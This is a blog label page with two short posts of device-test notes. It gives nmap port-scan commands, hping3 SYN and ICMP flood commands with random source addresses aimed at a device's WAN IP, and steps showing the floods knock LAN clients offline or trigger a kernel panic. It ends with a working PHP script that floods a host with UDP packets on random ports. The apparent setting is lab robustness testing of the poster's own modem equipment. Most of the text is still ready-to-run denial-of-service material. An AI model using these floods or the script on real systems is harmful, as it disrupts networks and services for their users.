Showing posts with label security. Show all posts
Showing posts with label security. Show all posts

Thursday, December 17, 2020

scanning port (NMAP)

 

TCP:

nmap -v -sT -T2 -Pn -p T:5060,111,65431,44318,4159,80,443,53 IPv4-Address

nmap -v -sT -T2 -Pn -p T:52224,705,111,51413,37915,4159,22,23 -6 IPv6-Address

UDP:

nmap -v -sU -T2 -Pn -p U:1293,111,161,162,3000,5060,546,53  IPv4-Address

nmap -v -sU -T2 -Pn -p U:1293,111,2427,161,162,3000,546 -6  IPv6-Address


hping IP Flood attack to DUT


 1. Connect a LAN PC to DUT via ethernet. Do " ping  8.8.8.8 -t" and access websites, can success.

2. Use hping3 command " hping3 -S -P -U --flood -V --rand-source DUT-IP" ( DUT's  IP) to attack DUT WAN IP.

3. After a while, no more than 1 minutes, LAN PC can not ping successfully, and can not access internet.

4. Use hping3 command "hping3 -1 --flood -V target" generate icmp flood to attack DUT WAN IP.

5. After a while, LAN PC can not ping successfully, and can not access internet.

Wednesday, April 15, 2020

ddos and security


DDOS Related attack command

command:
1. run attac, and run bulk call should not have problem
hping2  wan0 -2 0i u2 -I eth1
hping2  mta0 -2 0i u2 -I eth1
2. while running attack =, on CPE browser WEB will cause kernel panic
hping3 -V -c 10000 -d 300 -S -p 80 -w 1500 --flood 10.15.3.4 (dummy0.3)
CPE1(lan)-------
CM-------
CMTS-----------CPE2(linux/ubuntu)
CPE1: open browser (youtube channel)
CPE2: used linux to run hping

Script to attach:
<?php 
$host = '10.200.114.18';
$pps = 5000; 
$tune = 125; 
$sock = socket_create( AF_INET, SOCK_DGRAM, SOL_UDP ); 
$uslp = (1000000 / $pps) - $tune; 
if( $uslp < 0 )
$uslp = 0; 
for( $i = 6500000; $i > 0; $i-- )
{ $port = rand( 1025, 65535 ); socket_sendto( $sock, 'LUT2', 4, 0, $host, $port ); usleep( $uslp ); }
?>